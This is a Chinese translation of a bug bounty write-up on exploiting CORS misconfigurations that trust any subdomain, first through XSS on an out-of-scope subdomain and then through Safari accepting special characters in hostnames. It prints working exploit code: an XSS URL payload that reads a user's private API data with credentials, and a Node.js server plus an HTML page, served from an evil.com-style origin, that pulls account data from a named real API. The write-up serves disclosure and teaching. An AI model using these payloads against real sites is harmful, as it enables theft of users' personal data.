嗨,你们好
我叫Ayoub,我是摩洛哥的安全研究员。在本文中,我将描述两种如何利用CORS错误配置的状况:第一种状况基于XSS,须要在范围以外进行思考,第二种状况是基于高级CORS利用技术。
注意:在开始阅读本文以前,您须要对CORS是什么以及如何利用错误配置有基本的了解。如下是一些很棒的帖子,可以让你了解他的用法:
https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/
https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bountieshtml
大约一年前,我正在***这个由HackerOne托管的私有程序。在HTTP请求中使用Origin头以后,而后检查服务器响应以检查它们是否进行了域白名单检查,我注意到该应用程序仅将子域(甚至是不存在的子域)盲目地列入了白名单。
出于隐私缘由和负责任的披露政策,咱们假定该Web应用程序托管在:www.redacted.com
这种CORS配置错误看起来像这样:
HTTP请求:node
GET / api / return HTTP / 1.1 host:www.redacted.com Origin:evil.redacted.com Connection:close HTTP响应: HTTP / 1.1 200 OK Access-control-allow-credentials:true Access-control-allow-origin:evil.redacted.com
该API端点正在返回用户的私人信息,例如全名,电子邮件地址等。
要利用此错误配置进行***,例如泄露用户的私人信息,咱们须要声明一个废弃的子域(子域接管),或者在一个现有子域中找到XSS。
在范围以外思考
找到一个废弃的子域并非一件容易的事,所以我决定选择第二种方法,即在一个现有子域中找到一个XSS。可是,此私有程序的范围仅限于:www.redacted.com,这意味着在其余子域中查找XSS绝对不在范围内,可是在范围内以某种方式将此XSS与CORS错误配置连接在一块儿。
并且,其余子域不在范围以内的事实是让我更加自信的缘由,由于在其余子域中不会进行测试,所以颇有可能在这些子域上找到XSS。
所以,我怀着充满但愿的心情开始搜索此XSS,并在不到一个小时的时间内,使用如下负载在banques.redacted.com中找到了一个。chrome
https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1
所以,要利用此CORS错误配置,咱们只须要用如下代码替换XSS payload:alert(document.domain)api
Function cors(){ var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function(){ if(this.status == 200){ alert(this.responseText); document.getElementById(“ demo”)。innerHTML = this.responseText; } }; xhttp.open(“ GET”,“ https://www.redacted.com/api/return”,true); xhttp.withCredentials = true; xhttp.send(); } cors();
像这样 :跨域
https://banques.redacted.com/choice-quiz?form_banque= “> <script> function%20cors(){var%20xhttp = new%20XMLHttpRequest(); xhttp.onreadystatechange = function(){if(this.status == 200)alert(this.responseText); document.getElementById("demo").innerHTML = this.responseText}}; xhttp.open(" GET","https://www.redacted.com/api/return",true); xhttp.withCredentials = true; xhttp.send()} cors(); </ script> &form_cartes = 73&iframestat = 1
还有Voilà,咱们如今有了一个不错的PoC:
我拿到的奖励
如今,若是我告诉你仍然能够利用此漏洞,而无需在任何现有子域中找到XSS或声明被放弃的子域,这正是咱们将在第二种状况下讨论的内容。浏览器
此次,我正在研究Ubnt,尤为是托管在如下位置的应用程序:https : //protect.ubnt.com/
按照相同的过程,我肯定了相同的CORS错误配置,与以前的状况相似,可是此次应用程序从其余位置获取用户的私人信息,该API是在:https://client.amplifi.com/api/user/
该应用程序还盲目地将全部子域列入白名单,甚至是不存在的子域。
并且,正如咱们以前讨论的那样,要利用此CORS错误配置,您将须要要么声明一个废弃的子域,要么在一个现有子域中找到XSS。
而且因为这是一个公共程序,所以具备很大的范围(全部子域都在范围内);找到XSS的机会很小,甚至没有提到子域接管漏洞。
高级的CORS技术
事实证实,还有另外一种方法,但这须要必定的条件才能起做用。
最近作了一个有趣的研究。
https://www.corben.io/advanced-cors-techniques/找到Corben Leo能够发如今这里。能够绕过域名内部使用特殊字符错误实施的某些控件。
这项研究基于如下事实:浏览器在发出请求以前并不老是验证域名。所以,若是使用某些特殊字符,则浏览器当前可能会提交请求,而无需事先验证域名是否有效和存在。
例如:
彻底理解此问题后,让咱们尝试打开一个带有特殊字符的URL,例如:http://asdf`+=.withgoogle.com. 大多数浏览器会在发出任何请求以前先验证域名。
域名withgoogle.com,用做演示,由于它 有一个通配符DNS记录
chrome:
Firefox:安全
Safari:
如您所见,Safari是一个例外,它实际上会发送请求并尝试加载页面,这与其余浏览器不一样。
咱们可使用各类不一样的字符,甚至是没法打印的字符:
,&'“; !! $ ^ *()+ =`〜-_ = | {}%服务器
//不可打印的字符
%01-08,%0b,%0c,%0e,%0f,%10-%1f, %7f
此外,能够在
https://www.bedefended.com/papers/cors-security-guide
找到Davide Danelon进行的另外一项研究,结果代表,这些特殊字符的其余子集也能够在其余浏览器上使用。
如今,咱们了解了全部这些信息,咱们如何利用这个问题来执行这个漏洞利用,做为一个很好的演示,让咱们回到如下易受***的Web应用程序:https : //client.amplifi.com/
新的方法
在这种状况下,Web应用程序还接受如下Origin * .ubnt.com!.evil.com
不仅是字符“!” ,还包括如下内容:cors
serve.js var http = require('http'); var url = require('url'); var fs = require('fs'); var port = 80 http.createServer(function(req,res){ if(req.url =='/ cors-poc'){ fs.readFile('cors.html',function(err,data){ res.writeHead (200,{'Content-Type':'text / html'}); res.write(data); res.end(); }); }else{ res.writeHead(200,{'Content-Type': 'text / html'}); res.write(' never gonna give you up...'); res.end(); } })listen(port,'0.0.0.0'); console.log(` Serving on port ${port}`);
4.3.在同一目录中,保存如下内容:dom
cors.html <!DOCTYPE html> <html> <head><title>CORS</title></head> <body onload="cors();"> <center> cors proof-of-concept:<br><br> <textarea rows="10" cols="60" id="pwnz"> </textarea><br> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("pwnz").innerHTML = this.responseText; } }; xhttp.open("GET", "https://client.amplifi.com/api/user/", true); xhttp.withCredentials = true; xhttp.send(); } </script>
5.4.经过运行如下命令来启动NodeJS服务器:
node serve.js&
5.如今,经过如下网址登陆该应用程序:https://protect.ubnt.com/ 并检查是否能够从如下端点检索账户信息:https://client.amplifi.com/api/user/
6.最后,在Safari浏览器和Voilà中打开连接:http://zzzz.ubnt.com=.evil.com/cors-poc。
就我而言,因为我没有Mac机器,所以我在iPhone中将Safari浏览器用做PoC。
个人奖励
最后
我确信不少安全研究人员已经遇到过这种状况,而且您能够在HackerOne中找到不少描述这种CORS错误配置的报告,可是因为缺少PoC,只有少数可以充分利用它。在他们的报告中。
这就是我要分享经验的缘由之一。还重点介绍了利用这种漏洞的其余技术。
最后,永远记住,有时您只须要在 “ Boox” 范围以外思考。
谢谢阅读。请随时在Twitter https://twitter.com/sandh0t上关注我。
本文翻译自:
https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397免责申明:本文由互联网整理翻译而来,仅供我的学习参考,若有侵权,请联系咱们,告知删除。